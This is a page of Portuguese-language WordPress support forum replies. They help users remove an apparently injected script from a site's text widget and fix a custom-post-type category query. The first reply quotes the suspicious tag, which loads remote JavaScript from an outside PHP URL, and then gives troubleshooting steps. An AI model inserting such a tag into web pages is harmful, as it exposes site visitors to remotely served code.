Respostas no Fórum

Visualizando 4 respostas - 46 até 49 (de um total de 49)
  • Marlon

    (@marlonlamancio)

    <div class="textwidget"><p><script type="text/javascript" src="http://lig-limp.com.br/rebots.php"></script></p>
    </div>

    Tem uma classe textwidget no div, já olhou no painel de controle menu Aparência –> widgets se tem algum widget de texto com esse código dentro? Acho que está na área de widgets footer ou algo assim.

    Já tentou ir desativando os plugins? Se tiver alguma área de teste para não afetar o site em produção (ou tentar isso em um horário com pouco acessos, sei lá, de madrugada) poderia ir removendo os plugins do WP que estão instalados pra checar se é algum que está causando isso. Se tiver algum plugin de cache desabilite-o primeiro.

    Se continuar o código mesmo desativando todos os plugins tente alterar o tema, para os default do wordpress por exemplo twentyten ou twentyeleven pra ver se o código vai persistir.

    Pode tentar tb reinstalar o WP, indo em http://www.ojornalbebedouro.com.br/wp-admin/update-core.php

    Marlon

    (@marlonlamancio)

    spymam, tb achei que se tratava de um plugin de wordpress. Tente explicar melhor o seu problema.

    Tente colar um printscreen através de serviços como http://imgur.com/ ou o código ou link da página com problema.

    Marlon

    (@marlonlamancio)

    Uma forma de desativar o plugin “forçadamente” é através do banco de dados, vc tem acesso?

    Marlon

    (@marlonlamancio)

    O que está acontecendo é o seguinte: antes do WP chegar nesse template ele já executou a query principal com base na url requisitada e armazenou na variável global $wp_query. Ou seja se o usuário requisitou http://www.seusite.com/categoria o WP já sabe que ele quer um arquivo com todos os posts associados a essa categoria antes mesmo de carregar seu tema!

    Quando ele chega no seu template no ponto $loop = new WP_Query(... vai ser gerada uma nova query e armazenada na variável $loop, ou seja, não é mais a query principal (essa forma é usada para criar queries secundárias), então ele não sabe qual categoria deverá exibir.

    A forma ideal, mas não mais correta, é alterar a query principal usando o filtro pre_get_posts declarando a função quer irá manipular isso no functions.php, mas é melhor ter um conhecimento intermediário para não ocasionar outros problemas.

    A forma mais simples de fazê-lo no próprio template é usando a função query_posts().

    Tente substituir o trecho:

    $loop = new WP_Query( array( 'post_type' => 'produtos', 'posts_per_page' => 5 ) );
    while ( $loop->have_posts() ) : $loop->the_post();

    Para:

    query_posts( array( 'post_type' => 'produtos', 'posts_per_page' => 5 ) );
    while ( have_posts() ) : the_post();

    Como o WP já sabe qual é a categoria do arquivo não precisa passar nos argumentos.

    Se não funcionar podemos tentar outras alternativas. Boa sorte!

    Obs.: pelo código que postou está faltando um ponto-e-vírgula no final da declaração endwhile.

Visualizando 4 respostas - 46 até 49 (de um total de 49)